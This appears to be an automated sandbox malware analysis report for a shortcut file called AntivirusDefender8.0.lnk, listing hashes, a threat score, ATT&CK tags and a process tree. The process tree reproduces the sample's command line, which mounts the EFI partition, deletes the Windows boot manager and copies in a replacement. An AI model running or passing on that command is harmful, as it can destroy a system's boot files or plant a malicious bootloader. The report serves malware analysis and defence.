1ee3788918d34886873b12b45d7723e64eebe81cd117dbbf95f75fb99b38ea2d

Resubmissions

08/07/2024, 11:05

240708-m639fsyaph4

08/07/2024, 11:00

08/07/2024, 10:54

08/07/2024, 10:49

08/07/2024, 10:46

08/07/2024, 10:42

Analysis

max time kernel
448s
max time network
452s
platform
windows11-21h2_x64
resource
win11-20240704-en
resource tags

arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
submitted
08/07/2024, 11:00

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General

Target
AntivirusDefender8.0-main/AntivirusDefender8.0.lnk
Size 1KB
Sample240708-m359msxhrf
SHA256 da6227b4b97a7b3de4abdf570873eedf44192180eb142bfabf91916fefefb41a
MD5 3da7e181e7e2a7cb91b92cdaf0300c5b
SHA1 8d9691891d52d9ae7acbce140e49653d7225e5cd
SHA512 cca8d154c6764a44914368af05259e35bf60dbc9b09b3842564521ecd99c9023b091113d9adebe7a868f2b96ef3542570bb3b2fca1bff35a15c27b837ad00296
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 2008	4600	cmd.exe	81
PID 4600 wrote to memory of 2008	4600	cmd.exe	81
PID 2008 wrote to memory of 880	2008	cmd.exe	82
PID 2008 wrote to memory of 880	2008	cmd.exe	82
PID 880 wrote to memory of 2432	880	cmd.exe	84
PID 880 wrote to memory of 2432	880	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\AntivirusDefender8.0.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\cmd.exe
    cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\system32\mountvol.exe
      mountvol x: /s
      4⤵
      PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads